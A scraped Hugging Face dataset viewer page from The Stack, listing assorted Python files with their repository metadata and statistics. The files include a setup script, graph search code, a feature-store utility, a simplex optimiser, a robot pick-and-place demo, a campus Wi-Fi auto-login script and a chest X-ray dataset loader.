xszheng2020/the_stack_dedup_python_hits_1 · Datasets at Hugging Face

a113c8e85fbfe0a4e5ea8110782dae46220ba93c

262

py

Python

setup.py

geickelb/hsip441_neiss_python

0ad88a664b369ea058b28d79ed98d02ff8418aad

[ "MIT" ]

null

setup.py

geickelb/hsip441_neiss_python

0ad88a664b369ea058b28d79ed98d02ff8418aad

[ "MIT" ]

null

setup.py

geickelb/hsip441_neiss_python

0ad88a664b369ea058b28d79ed98d02ff8418aad

[ "MIT" ]

null

from setuptools import find_packages, setup setup( name='src', packages=find_packages(), version='0.0.1', description='compiling code for HSIP441 using python to explore the Neiss database', author='Garrett Eickelberg', license='MIT', )

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a11510f716edaa915f408fd4bc5559303960aa62

1,770

py

Python

Computer & Information Science Core courses/2168/A*/graph.py

Vaporjawn/Temple-University-Computer-Science-Resources

8d54db3a85a1baa8ba344efc90593b440eb6d585

[ "MIT" ]

1

2020-07-28T16:18:38.000Z

Computer & Information Science Core courses/2168/A*/graph.py

Vaporjawn/Temple-University-Computer-Science-Resources

8d54db3a85a1baa8ba344efc90593b440eb6d585

[ "MIT" ]

4

2020-07-15T06:40:55.000Z

2020-08-13T16:01:30.000Z

Computer & Information Science Core courses/2168/A*/graph.py

Vaporjawn/Temple-University-Computer-Science-Resources

8d54db3a85a1baa8ba344efc90593b440eb6d585

[ "MIT" ]

null

"""Implement the graph to traverse.""" from collections import Counter class Node: """Node class.""" def __init__(self, value, x, y): """Initialize node.""" self.x = x self.y = y self.value = value self.neighbors = [] def add_neighbor(self, n, weight): """Add a neighbor to this node.""" self.neighbors.append((n, weight)) class Graph: """Graph of nodes.""" def __init__(self): """Initialize.""" self.nodes = [] def add_node(self, value, x, y): """Add a new node to the graph.""" new_node = Node(value, x, y) self.nodes.append(new_node) return new_node def add_edge(self, node1, node2, weight=1): """Connect two nodes with optional edge weight specification.""" node1.add_neighbor(node2, weight) node2.add_neighbor(node1, weight) def find_path(self, start, end): """Use A* to find a path from start to end in the graph.""" visited_nodes = {} accessible_nodes = {} current_distance = 0 current = start # Loop as long as the end node has not been found # this is not finished yet!!! while(current.value != end.value): # calculate cost for each neighbor of n costs = [] for n in current.neighbors: cost = self.g(n, current_distance) + self.h(n, end) costs.append((n, g)) def g(self, n, current_distance): """Calculate the distance from the start node.""" return current_distance + n[1] def h(self, n, end): """Estimate the distance to the end node using Manhattan distance.""" return abs(n[0].x - end.x) + abs(n[0].y - end.y)

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null

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1

a116cfc21ab7921ef0308c2ab54fca839bd22800

2,027

py

Python

python/hsfs/util.py

berthoug/feature-store-api

85c23ae08c7de65acd79a3b528fa72c07e52a272

[ "Apache-2.0" ]

null

python/hsfs/util.py

berthoug/feature-store-api

85c23ae08c7de65acd79a3b528fa72c07e52a272

[ "Apache-2.0" ]

null

python/hsfs/util.py

berthoug/feature-store-api

85c23ae08c7de65acd79a3b528fa72c07e52a272

[ "Apache-2.0" ]

null

# # Copyright 2020 Logical Clocks AB # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. # import os import json from pathlib import Path from hsfs import feature class FeatureStoreEncoder(json.JSONEncoder): def default(self, o): try: return o.to_dict() except AttributeError: return super().default(o) def validate_feature(ft): if isinstance(ft, feature.Feature): return ft elif isinstance(ft, str): return feature.Feature(ft) def parse_features(feature_names): if isinstance(feature_names, (str, feature.Feature)): return [validate_feature(feature_names)] elif isinstance(feature_names, list) and len(feature_names) > 0: return [validate_feature(feat) for feat in feature_names] else: return [] def get_cert_pw(): """ Get keystore password from local container Returns: Certificate password """ hadoop_user_name = "hadoop_user_name" crypto_material_password = "material_passwd" material_directory = "MATERIAL_DIRECTORY" password_suffix = "__cert.key" pwd_path = Path(crypto_material_password) if not pwd_path.exists(): username = os.environ[hadoop_user_name] material_directory = Path(os.environ[material_directory]) pwd_path = material_directory.joinpath(username + password_suffix) with pwd_path.open() as f: return f.read() class VersionWarning(Warning): pass class StorageWarning(Warning): pass

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a118ceb32497416f45bc3e52e40410e78c21e051

836

py

Python

python_modules/dagster/dagster/core/types/builtin_enum.py

jake-billings/dagster

7a1548a1f246c48189f3d8109e831b744bceb7d4

[ "Apache-2.0" ]

1

2019-07-15T17:34:04.000Z

python_modules/dagster/dagster/core/types/builtin_enum.py

jake-billings/dagster

7a1548a1f246c48189f3d8109e831b744bceb7d4

[ "Apache-2.0" ]

null

python_modules/dagster/dagster/core/types/builtin_enum.py

jake-billings/dagster

7a1548a1f246c48189f3d8109e831b744bceb7d4

[ "Apache-2.0" ]

null

import sys if sys.version_info.major >= 3: import typing class BuiltinEnum: ANY = typing.Any BOOL = typing.NewType('Bool', bool) FLOAT = typing.NewType('Float', float) INT = typing.NewType('Int', int) PATH = typing.NewType('Path', str) STRING = typing.NewType('String', str) NOTHING = typing.NewType('Nothing', None) @classmethod def contains(cls, value): return any(value == getattr(cls, key) for key in dir(cls)) else: from enum import Enum class BuiltinEnum(Enum): ANY = 'Any' BOOL = 'Bool' FLOAT = 'Float' INT = 'Int' PATH = 'Path' STRING = 'String' NOTHING = 'Nothing' @classmethod def contains(cls, value): return isinstance(value, cls)

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a11ebc5157787a925779b80587bf0be3060a8389

705

py

Python

sets-add.py

limeonion/Python-Programming

90cbbbd7651fc04669e21be2adec02ba655868cf

[ "MIT" ]

null

sets-add.py

limeonion/Python-Programming

90cbbbd7651fc04669e21be2adec02ba655868cf

[ "MIT" ]

null

sets-add.py

limeonion/Python-Programming

90cbbbd7651fc04669e21be2adec02ba655868cf

[ "MIT" ]

null

''' f we want to add a single element to an existing set, we can use the .add() operation. It adds the element to the set and returns 'None'. Example >>> s = set('HackerRank') >>> s.add('H') >>> print s set(['a', 'c', 'e', 'H', 'k', 'n', 'r', 'R']) >>> print s.add('HackerRank') None >>> print s set(['a', 'c', 'e', 'HackerRank', 'H', 'k', 'n', 'r', 'R']) The first line contains an integer N, the total number of country stamps. The next N lines contains the name of the country where the stamp is from. Output Format Output the total number of distinct country stamps on a single line. ''' n = int(input()) countries = set() for i in range(n): countries.add(input()) print(len(countries))

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a121e58fcc354bb0486144293e6dc4511324fbba

1,046

py

Python

option.py

lotress/new-DL

adc9f6f94538088d3d70327d9c7bb089ef7e1638

[ "MIT" ]

null

option.py

lotress/new-DL

adc9f6f94538088d3d70327d9c7bb089ef7e1638

[ "MIT" ]

null

option.py

lotress/new-DL

adc9f6f94538088d3d70327d9c7bb089ef7e1638

[ "MIT" ]

null

from common import * from model import vocab option = dict(edim=256, epochs=1.5, maxgrad=1., learningrate=1e-3, sdt_decay_step=1, batchsize=8, vocabsize=vocab, fp16=2, saveInterval=10, logInterval=.4) option['loss'] = lambda opt, model, y, out, *_, rewards=[]: F.cross_entropy(out.transpose(-1, -2), y, reduction='none') option['criterion'] = lambda y, out, mask, *_: (out[:,:,1:vocab].max(-1)[1] + 1).ne(y).float() * mask.float() option['startEnv'] = lambda x, y, l, *args: (x, y, l, *args) option['stepEnv'] = lambda i, pred, l, *args: (False, 1., None, None) # done episode, fake reward, Null next input, Null length, Null args option['cumOut'] = False # True to keep trajectory option['devices'] = [0] if torch.cuda.is_available() else [] # list of GPUs option['init_method'] = 'file:///tmp/sharedfile' # initial configuration for multiple-GPU training try: from qhoptim.pyt import QHAdam option['newOptimizer'] = lambda opt, params, _: QHAdam(params, lr=opt.learningrate, nus=(.7, .8), betas=(0.995, 0.999)) except ImportError: pass

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null

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1

a12aedcd932c89aac78464696ed1d71cb2034b31

9,969

py

Python

skyoffset/multisimplex.py

jonathansick/skyoffset

369f54d8a237f48cd56f550e80bf1d39b355bfcd

[ "BSD-3-Clause" ]

null

skyoffset/multisimplex.py

jonathansick/skyoffset

369f54d8a237f48cd56f550e80bf1d39b355bfcd

[ "BSD-3-Clause" ]

null

skyoffset/multisimplex.py

jonathansick/skyoffset

369f54d8a237f48cd56f550e80bf1d39b355bfcd

[ "BSD-3-Clause" ]

null

import os import logging import platform import time import multiprocessing import numpy import pymongo # Pure python/numpy import simplex from scalarobj import ScalarObjective # Cython/numpy import cyscalarobj import cysimplex class MultiStartSimplex(object): """Baseclass for multi-start recongerging simplex solvers.""" def __init__(self, dbname, cname, url, port): #super(MultiStartSimplex, self).__init__() self.dbname, cname, url, port = dbname, cname, url, port self.dbname = dbname self.cname = cname self.url = url self.port = port connection = pymongo.Connection(self.url, self.port) self.db = connection[self.dbname] self.collection = self.db[self.cname] def resetdb(self): """Delete existing entries in the mongodb collection for this multi simplex optimization.""" # Drop the collection, then recreate it self.db.drop_collection(self.cname) self.collection = self.db[self.cname] def _prep_log_file(self): self.startTime = time.clock() # for timing with close_log_file() logDir = os.path.dirname(self.logPath) if os.path.exists(logDir) is False: os.makedirs(logDir) logging.basicConfig(filename=self.logPath, level=logging.INFO) logging.info("STARTING NEW SIMPLEX OPTIMIZATION ====================") hostname = platform.node() now = time.localtime(time.time()) timeStamp = time.strftime("%y/%m/%d %H:%M:%S %Z", now) logging.info("MultiStartSimplex started on %s at %s" % (hostname, timeStamp)) def _close_log_file(self): endTime = time.clock() duration = (endTime - self.startTime) / 3600. logging.info("ENDING SIMPLEX OPTIMIZATION. Duration: %.2f hours" % duration) class SimplexScalarOffsetSolver(MultiStartSimplex): """Uses a Multi-Start and Reconverging algorithm for converging on the the set of scalar sky offsets that minimize coupled image differences. The optimization is persisted in real-time to MongoDB. This means that multiple computers could be running threads and adding results to the same pool. While optimization is running, it is possible to query for the best-to-date offset solution. """ def __init__(self, dbname="m31", cname="simplexscalar", url="localhost", port=27017): super(SimplexScalarOffsetSolver, self).__init__(dbname, cname, url, port) def multi_start(self, couplings, nTrials, logPath, initSigma=6e-10, restartSigma=1e-11, mp=True, cython=True, log_xtol=-6., log_ftol=-5.): """Start processing using the Multi-Start Reconverging algorithm. Parameters ---------- nTrials : int Number of times a simplex is started. initSigma : float Dispersion of offsets restartSigma : float Dispersion of offsets about a converged point when making a restart simplex. mp : bool If True, run simplexes in parallel with `multiprocessing`. cython : bool True to use the cython version of simplex. """ self.logPath = logPath self._prep_log_file() self.couplings = couplings if cython: self.objf = cyscalarobj.ScalarObjective(self.couplings) else: self.objf = ScalarObjective(self.couplings) ndim = self.objf.get_ndim() xtol = 10. ** log_xtol # frac error in offsets acceptable for conv ftol = 10. ** log_ftol # frac error in objective function acceptable maxiter = 100000 * ndim maxEvals = 100000 * ndim simplexArgs = {'xtol': xtol, 'ftol': ftol, 'maxiter': maxiter, 'maxfun': maxEvals, 'full_output': True, 'disp': True, 'retall': False, 'callback': None} dbArgs = {'dbname': self.dbname, 'cname': self.cname, 'url': self.url, 'port': self.port} # Create initial simplexes argsQueue = [] for n in xrange(nTrials): sim = numpy.zeros([ndim + 1, ndim], dtype=numpy.float64) for i in xrange(ndim + 1): sim[i, :] = initSigma * numpy.random.standard_normal(ndim) args = [sim, cython, self.couplings, simplexArgs, restartSigma, xtol, n, nTrials, self.logPath, dbArgs] argsQueue.append(args) # Run the queue pool = None if mp: pool = multiprocessing.Pool(processes=multiprocessing.cpu_count(), maxtasksperchild=None) pool.map(_simplexWorker, argsQueue) pool.close() pool.join() pool.terminate() else: map(_simplexWorker, argsQueue) self._close_log_file() def find_best_offsets(self): """Queries the mongodb collection of simplex runs to find the optimal result. Returns a dictionary of scalar offsets, keyed by the field name. """ bestEnergy = 1e99 # running tally of best optimization result bestOffsets = {} recs = self.collection.find({}, ['best_fopt', 'best_offsets']) for rec in recs: if rec['best_fopt'] < bestEnergy: bestEnergy = rec['best_fopt'] bestOffsets = rec['best_offsets'] # Normalize these offsets so that the net offset is zero netOffset = 0. fieldCount = 0 for field, offset in bestOffsets.iteritems(): netOffset += offset fieldCount += 1 print "Net offset %.2e" % netOffset netOffset = netOffset / fieldCount for field, offset in bestOffsets.iteritems(): bestOffsets[field] = offset - netOffset return bestOffsets def init_func(): print multiprocessing.current_process().name def _simplexWorker(argsList): """multiprocessing worker function for doing multi-trial simplex solving. This essentially replaces the multi_start_simplex function in simplex.py But this exists because it implicitly specifies the target function for the optimization; multiprocessing can't pickle a function object. This simplex worker has the ability to restart at the site of convergence by constructing a simplex that is randomly distributed about the best vertex. The simplex keeps reconverging from perturbed simplex until the reconverged minimum matches the previous minimum. That is, I believe I have a global minimum if the simplex returns to where it started. """ startTime = time.clock() sim, useCython, couplings, kwargs, restartSigma, xTol, n, nTrials, logFilePath, dbArgs = argsList if useCython: objf = cyscalarobj.ScalarObjective(couplings) else: objf = ScalarObjective(couplings) # Choose the simplex code if useCython: nm_simplex = cysimplex.nm_simplex else: nm_simplex = simplex.nm_simplex #print "Running simplex %i/%i"% (n,nTrials) Ndim = sim.shape[1] _evalObjFunc = lambda offsets, objF: objF.compute(offsets) # These variables keep track of how the code performs totalFCalls = 0 nRestarts = 0 # Initial simplex compute _xOpt, _fOpt, _nIters, _nFcalls, _warnflag = nm_simplex(objf, sim, **kwargs) bestFOpt = _fOpt bestXOpt = _xOpt.copy() totalFCalls += _nFcalls # These arrays list the running tally of restarts vs best fopt vs total f calls restartTally = [nRestarts] bestFOptTally = [bestFOpt] totalFCallTally = [totalFCalls] # initiate restarts while True: nRestarts += 1 sim = numpy.zeros([Ndim+1, Ndim], dtype=numpy.float64) sim[0,:] = bestXOpt.copy() # first vertex is the best point for i in xrange(1,Ndim+1): # rest are randomly distributed. sim[i,:] = restartSigma*numpy.random.standard_normal(Ndim) + bestXOpt _xOpt, _fOpt, _nIters, _nFcalls, _warnflag = nm_simplex(objf, sim, **kwargs) totalFCalls += _nFcalls # Ensure that the point has converged convergenceFrac = (_xOpt - bestXOpt) / bestXOpt if len(numpy.where(convergenceFrac > xTol)[0]) > 0: # do another restart of the simplex if _fOpt < bestFOpt: # but we did find a new minimum bestFOpt = _fOpt bestXOpt = _xOpt.copy() restartTally.append(nRestarts) bestFOptTally.append(bestFOpt) totalFCallTally.append(totalFCalls) else: # we're converged break # Report this in the log runtime = time.clock() - startTime if logFilePath is not None: logging.basicConfig(filename=logFilePath,level=logging.INFO) logging.info("%i/%i converged to %.4e in %.2f minutes, %i local restarts" % (n, nTrials, bestFOpt, runtime/60., nRestarts)) # Dictionary stores the history of restarts, as well as teh best solution # as a field offset dictionary (we're breaking reusability here... just # to make things faster.) convergenceHistory = {"total_calls": totalFCalls, "n_restarts": nRestarts, "runtime": runtime, "best_offsets": objf.get_best_offsets(), "best_fopt": bestFOpt, "restart_hist": restartTally, "fopt_hist": bestFOptTally, "fcall_hist": totalFCallTally} # Connect to MongoDB and add our convergence history! try: connection = pymongo.Connection(dbArgs['url'], dbArgs['port']) db = connection[dbArgs['dbname']] collection = db[dbArgs['cname']] collection.insert(convergenceHistory, safe=True) except pymongo.errors.AutoReconnect: logging.info("pymongo.errors.AutoReconnect on %i"%n) # collection.database.connection.disconnect()

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a130d81a095f620365d47a00f587d3671ea0c357

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py

Python

libraries/urx_python/urx_scripts/demo_apple_tree.py

giacomotomasi/tennisball_demo

f71cd552e64fe21533abe47b986db6999947c3a9

[ "Apache-2.0" ]

null

libraries/urx_python/urx_scripts/demo_apple_tree.py

giacomotomasi/tennisball_demo

f71cd552e64fe21533abe47b986db6999947c3a9

[ "Apache-2.0" ]

null

libraries/urx_python/urx_scripts/demo_apple_tree.py

giacomotomasi/tennisball_demo

f71cd552e64fe21533abe47b986db6999947c3a9

[ "Apache-2.0" ]

null

import urx import logging import time if __name__ == "__main__": logging.basicConfig(level=logging.WARN) #gripper_remove_pos = [0.0755, -0.2824, 0.3477, -0.0387, -3.0754, 0.4400] # rest position (good to place/remove gripper) rob = urx.Robot("192.168.56.1") #rob.set_tcp((0,0,0,0,0,0)) #rob.set_payload(0.5, (0,0,0)) home_pos = [-0.0153, -0.4213, 0.3469, 1.2430, 2.6540, -0.9590] appro1 = [-0.0762, -0.5575, 0.3546, 0.6110, 2.7090, -1.7840] apple1 = [-0.1042, -0.6244, 0.3209, 1.4510, 1.9160, -1.4980] get_far1 = [-0.0510, -0.5086, 0.3215, 0.4900, 2.6510, -1.8690] appro2 = [-0.1767, -0.4281, 0.3204, 1.8210, 2.0030, -1.5280] apple2 = [-0.2129, -0.4926, 0.2951, 1.8210, 2.0030, -1.5280] get_far2 = [-0.1324, -0.3790, 0.3112, 1.8210, 2.0030, -1.5280] appro_place = [0.3571, -0.3540, 0.3563, 1.2360, 2.8850, -0.0780] place_pos = [0.3571, -0.3540, 0.2983, 1.2360, 2.8850, -0.0780] try: v = 0.2 a = 0.3 rob.set_digital_out(0,0) # initialize gripper # open gripper rob.set_digital_out(0, 1) time.sleep(0.5) rob.set_digital_out(0,0) pose = rob.getl() #gives a lists with 6 elements (x, y, z, rx, ry, rz) --> rotation vector #print("robot tcp is at: ", pose) # move to home position #rob.movej(joint_pose, acc=a, vel=v) # it takes as inputs the joints goal values! rob.movej_to_pose(home_pos, acc=a, vel=0.3) time.sleep(0.01) # move towards the first apple to pick (approach it, move to a suitable grabbing position, get away) rob.movej_to_pose(appro1, acc=a, vel=v) time.sleep(0.01) rob.movel(apple1, acc=a, vel=v) # close gripper rob.set_digital_out(0, 1) time.sleep(0.5) rob.set_digital_out(0,0) time.sleep(1) rob.movel(get_far1, a, v) #move towards the place position rob.movej_to_pose(appro_place, a, vel=0.3) time.sleep(0.01) rob.movel(place_pos, a, v) # open gripper rob.set_digital_out(0, 1) time.sleep(0.5) rob.set_digital_out(0,0) time.sleep(1) rob.movel(appro_place, a, v) # move to home position rob.movej_to_pose(home_pos, a, v) pose_final = rob.getl() print("robot tcp is at (final): ", pose_final) finally: rob.close()

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0.021739

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null

0

1

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null

0

1

a13428de836fe2ca966877503cf126c867ad3cd6

531

py

Python

xos/synchronizers/openstack/model_policies/model_policy_Sliver.py

xmaruto/mcord

3678a3d10c3703c2b73f396c293faebf0c82a4f4

[ "Apache-2.0" ]

null

xos/synchronizers/openstack/model_policies/model_policy_Sliver.py

xmaruto/mcord

3678a3d10c3703c2b73f396c293faebf0c82a4f4

[ "Apache-2.0" ]

null

xos/synchronizers/openstack/model_policies/model_policy_Sliver.py

xmaruto/mcord

3678a3d10c3703c2b73f396c293faebf0c82a4f4

[ "Apache-2.0" ]

null

def handle(instance): from core.models import Controller, ControllerSlice, ControllerNetwork, NetworkSlice networks = [ns.network for ns in NetworkSlice.objects.filter(slice=instance.slice)] controller_networks = ControllerNetwork.objects.filter(network__in=networks, controller=instance.node.site_deployment.controller) for cn in controller_networks: if (cn.lazy_blocked): cn.lazy_blocked=False cn.backend_register = '{}' cn.save()

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null

0

null

0

null

0

1

0

1

a137958aa6262c5d4af45fea5f852cfe4e0fb7c7

5,509

py

Python

plugin/autoWHUT.py

PPeanutButter/MediaServer

a6a0b3f424ca3fc4ea73d78db380ec3cc882bfd2

[ "MIT" ]

2

2021-09-23T15:09:25.000Z

2022-01-16T01:04:07.000Z

plugin/autoWHUT.py

PPeanutButter/MediaServer

a6a0b3f424ca3fc4ea73d78db380ec3cc882bfd2

[ "MIT" ]

1

2022-02-23T04:00:16.000Z

2022-02-23T04:10:06.000Z

plugin/autoWHUT.py

PPeanutButter/MediaServer

a6a0b3f424ca3fc4ea73d78db380ec3cc882bfd2

[ "MIT" ]

1

2021-09-23T15:09:26.000Z

# coding=<utf-8> import requests import re import socket import base64 import psutil import pywifi from pywifi import const import subprocess import os import time def get_host_ip(): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('8.8.8.8', 80)) ip = s.getsockname()[0] finally: s.close() return ip def encrypt(password): password = base64.b64encode(password.encode('utf-8')) return password.decode('utf-8') def getNetIfAddr(): dic = psutil.net_if_addrs() mac = '' for adapter in dic: print(adapter) if adapter != 'wls1': continue snicList = dic[adapter] mac = '' ipv4 = '' ipv6 = '' for snic in snicList: if snic.family.name in {'AF_LINK', 'AF_PACKET'}: mac = snic.address elif snic.family.name == 'AF_INET': ipv4 = snic.address elif snic.family.name == 'AF_INET6': ipv6 = snic.address print('%s, %s, %s, %s' % (adapter, mac, ipv4, ipv6)) return mac def get_mac_address(): return getNetIfAddr().lower() class AutoWHUT: def get_param(self, username: str, password: str, cookies: str): header = { 'Origin': 'http://172.30.16.34', 'Referer': 'http://172.30.16.34/srun_portal_pc.php?ac_id=1&cmd=login&switchip=172.30.14.104&mac=84:ef:18' ':91:e5:5b&ip=' + get_host_ip() + '&essid=WHUT-WLAN6&apname=JB-JH-J4-0901-E&apgroup=WHUT-WLAN-Dual&url=http://www.gstatic.com' '/generate_204', 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) ' 'Chrome/70.0.3538.102 Safari/537.36 Edge/18.18362', 'Accept': '*/*', 'Accept-Language': 'zh-CN', 'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8', 'X-Requested-With': 'XMLHttpRequest', 'Accept-Encoding': 'gzip, deflate', 'Host': '172.30.16.34', 'Connection': 'Keep-Alive', 'Pragma': 'no-cache', 'Cookie': cookies } data = 'action=login&username=&password=&ac_id=64&user_ip=&nas_ip=&user_mac=&save_me=1&ajax=1' data = re.sub("username=.*?&", "username=" + username + '&', data) data = re.sub("password=.*?&", "password={B}" + encrypt(password) + '&', data) data = re.sub("user_ip=.*?&", "user_ip=" + get_host_ip() + '&', data) data = re.sub("user_mac=.*?&", "user_mac=" + get_mac_address() + '&', data) return header, data def sign_in(self): try: username = '' password = '' cookies = 'login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcrvEe0UJsVvdkTHxMBomR2HUS3oxriFtDiSt7XrDS' \ '%2BmurcIcGKHmgRZbb8fUGzw%2FUGvJFIjk0nAVIEwPGYVt7br7b5u1t4sMp' \ '%2BAfr4VZ5VcKPDr8eaBrOt2YRrH9Bdy6bogpY89dPj' \ '%2BzwrVuc4xmFUoWD8peECGHshewZRrIVvucbx652F2TRxF3VtHNL9H0fs5GjjmJjQMtecd; ' \ 'NSC_tsvo_4l_TH=ffffffffaf160e3a45525d5f4f58455e445a4a423660; ' \ 'login=bQ0pOyR6IXU7PJaQQqRAcBPxGAvxAcrvEe0UJsVvdkTHxMBomR2HUS3oxriFtDiSt7XrDS' \ '%2BmurcIcGKHmgRZbb8fUGzw%2FUGvJFIjk0nAVIEwPGYVt7br7b5u1t4sMp' \ '%2BAfr4VZ5VcKPDr8eaBrOt2YRrH9Bdy6bogpY89dPj' \ '%2BzwrVuc4xmFUoWD8peECGHshewZRrIVvucbx652F2TRxF3VtHNL9H0fs5GjjmJjQMtecd ' header, data = self.get_param(username, password, cookies) print(data) result = requests.post('http://172.30.16.34/include/auth_action.php', headers=header, data=data) print(result.text, '\n{}\n'.format('*' * 79), result.encoding) except BaseException as arg: print(arg) class WifiManager: def __init__(self): self.wifi = pywifi.PyWiFi() self.ifaces = self.wifi.interfaces()[1] self.autoWHUT = AutoWHUT() self.sleepTime = 1 def is_connected_wifi(self): return self.ifaces.status() == const.IFACE_CONNECTED def get_current_wifi(self): cmd = 'netsh wlan show interfaces' p = subprocess.Popen(cmd, stdin=subprocess.PIPE, stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True) ret = p.stdout.read() ret = ret.decode('gbk') index = ret.find("SSID") if index > 0: return ret[index:].split(':')[1].split('\r\n')[0].strip() else: return None def check_net(self): try: result = requests.post('http://www.baidu.com') return result.text.find("?cmd=redirect") == -1 except Exception: return False def auto_check(self): if self.is_connected_wifi(): if not self.check_net(): self.autoWHUT.sign_in() print("2s") self.sleepTime = 2 else: self.sleepTime = 60 print("60s") else: self.sleepTime = 4 print("no wifi") def start(self): while True: self.auto_check() time.sleep(self.sleepTime) if __name__ == '__main__': wifiManager = WifiManager() wifiManager.start()

34.43125

117

0.554547

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5,509

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0.008353

0.009355

0.012028

0.208821

0.18443

0.020715

0

0.064269

0.313669

5,509

159

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34.647799

0.727321

0.002541

0

0.088889

0

0.02963

0.278718

0.123794

0

1

0.088889

false

0.059259

0.074074

0.014815

0.251852

0.059259

0

null

0

null

0

1

0

1

a1385e4aefd67a6e8363bc3fce53670aa1ea871f

6,861

py

Python

covidaid/tools/read_data.py

sabuj7177/CovidProject

b4b7bcfa5ace165520507f489dc74da7b695e2f0

[ "Apache-2.0" ]

null

covidaid/tools/read_data.py

sabuj7177/CovidProject

b4b7bcfa5ace165520507f489dc74da7b695e2f0

[ "Apache-2.0" ]

null

covidaid/tools/read_data.py

sabuj7177/CovidProject

b4b7bcfa5ace165520507f489dc74da7b695e2f0

[ "Apache-2.0" ]

null

# encoding: utf-8 """ Read images and corresponding labels. """ import torch from torch.utils.data import Dataset from PIL import Image import os import random class ChestXrayDataSetTest(Dataset): def __init__(self, image_list_file, transform=None, combine_pneumonia=False): """ Create the Data Loader. Since class 3 (Covid) has limited covidaid_data, dataset size will be accordingly at train time. Code is written in generic form to assume last class as the rare class Args: image_list_file: path to the file containing images with corresponding labels. transform: optional transform to be applied on a sample. combine_pneumonia: True for combining Baterial and Viral Pneumonias into one class """ self.NUM_CLASSES = 3 if combine_pneumonia else 4 # Set of images for each class image_names = [] with open(image_list_file, "r") as f: for line in f: items = line.split() image_name = items[0] label = int(items[1]) image_names.append((image_name, label)) self.image_names = image_names self.transform = transform def __getitem__(self, index): """ Args: index: the index of item Returns: image and its labels """ def __one_hot_encode(l): v = [0] * self.NUM_CLASSES v[l] = 1 return v image_name, label = self.image_names[index] label = __one_hot_encode(label) image = Image.open(image_name).convert('RGB') if self.transform is not None: image = self.transform(image) return image, torch.FloatTensor(label) def __len__(self): return len(self.image_names) class ChestXrayDataSet(Dataset): def __init__(self, image_list_file, transform=None, combine_pneumonia=False): """ Create the Data Loader. Since class 3 (Covid) has limited covidaid_data, dataset size will be accordingly at train time. Code is written in generic form to assume last class as the rare class Args: image_list_file: path to the file containing images with corresponding labels. transform: optional transform to be applied on a sample. combine_pneumonia: True for combining Baterial and Viral Pneumonias into one class """ self.NUM_CLASSES = 3 if combine_pneumonia else 4 # Set of images for each class image_names = [[] for _ in range(self.NUM_CLASSES)] with open(image_list_file, "r") as f: for line in f: items = line.split() image_name = items[0] label = int(items[1]) image_names[label].append(image_name) self.image_names = image_names self.transform = transform label_dist = [len(cnames) for cnames in image_names] # Number of images of each class desired self.num_covid = int(label_dist[-1]) if combine_pneumonia: covid_factor = 7.0 self.num_normal = int(self.num_covid * covid_factor) self.num_pneumonia = int(self.num_covid * covid_factor) self.total = self.num_covid + self.num_pneumonia + self.num_normal self.loss_weight_minus = torch.FloatTensor([self.num_normal, self.num_pneumonia, self.num_covid]).unsqueeze(0).cuda() / self.total self.loss_weight_plus = 1.0 - self.loss_weight_minus else: covid_factor = 5.0 self.num_normal = int(self.num_covid * covid_factor) self.num_viral = int(self.num_covid * covid_factor) self.num_bact = int(self.num_covid * covid_factor) self.total = self.num_covid + self.num_viral + self.num_bact + self.num_normal self.loss_weight_minus = torch.FloatTensor([self.num_normal, self.num_bact, self.num_viral, self.num_covid]).unsqueeze(0).cuda() / self.total self.loss_weight_plus = 1.0 - self.loss_weight_minus # print (self.loss_weight_plus, self.loss_weight_minus) if combine_pneumonia: self.partitions = [self.num_covid, self.num_covid + self.num_normal, self.num_covid + self.num_normal + self.num_pneumonia] else: self.partitions = [self.num_covid, self.num_covid + self.num_normal, self.num_covid + self.num_normal + self.num_bact, self.num_covid + self.num_normal + self.num_bact + self.num_viral] assert len(self.partitions) == self.NUM_CLASSES def __getitem__(self, index): """ Args: index: the index of item Returns: image and its labels """ def __one_hot_encode(l): v = [0] * self.NUM_CLASSES v[l] = 1 return v image_name = None # print (index, self.partitions, len(self), sum([len(cnames) for cnames in self.image_names])) if index < self.partitions[0]: # Return a covid image data_idx = index image_name = self.image_names[self.NUM_CLASSES - 1][data_idx] label = __one_hot_encode(self.NUM_CLASSES - 1) else: # Return non-covid image for l in range(1, self.NUM_CLASSES): if index < self.partitions[l]: class_idx = l - 1 label = __one_hot_encode(class_idx) # Return a random image image_name = random.choice(self.image_names[class_idx]) break assert image_name is not None image = Image.open(image_name).convert('RGB') if self.transform is not None: image = self.transform(image) return image, torch.FloatTensor(label) def __len__(self): return self.partitions[-1] def loss(self, output, target): """ Binary weighted cross-entropy loss for each class """ weight_plus = torch.autograd.Variable(self.loss_weight_plus.repeat(1, target.size(0)).view(-1, self.loss_weight_plus.size(1)).cuda()) weight_neg = torch.autograd.Variable(self.loss_weight_minus.repeat(1, target.size(0)).view(-1, self.loss_weight_minus.size(1)).cuda()) loss = output pmask = (target >= 0.5).data nmask = (target < 0.5).data epsilon = 1e-15 loss[pmask] = (loss[pmask] + epsilon).log() * weight_plus[pmask] loss[nmask] = (1-loss[nmask] + epsilon).log() * weight_plus[nmask] loss = -loss.sum() return loss

36.887097

153

0.594957

868

6,861

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0.176267

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0.052335

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0.705747

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0.617753

0.612365

0

0.010267

0.318612

6,861

185

154

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0.823529

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1

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false

0

0.048077

0.019231

0.221154

0

null

0

1

0

null

0

1

a13baec342fa639fe6142ecd977281a346771177

389

py

Python

genshimacro/__init__.py

trac-hacks/trac-GenshiMacro

d9da1a50f6d73904fdda2e9e7cbc4c056b929267

[ "BSD-3-Clause" ]

1

2015-02-19T21:08:53.000Z

genshimacro/__init__.py

ejucovy/trac-GenshiMacro

d9da1a50f6d73904fdda2e9e7cbc4c056b929267

[ "BSD-3-Clause" ]

null

genshimacro/__init__.py

ejucovy/trac-GenshiMacro

d9da1a50f6d73904fdda2e9e7cbc4c056b929267

[ "BSD-3-Clause" ]

null

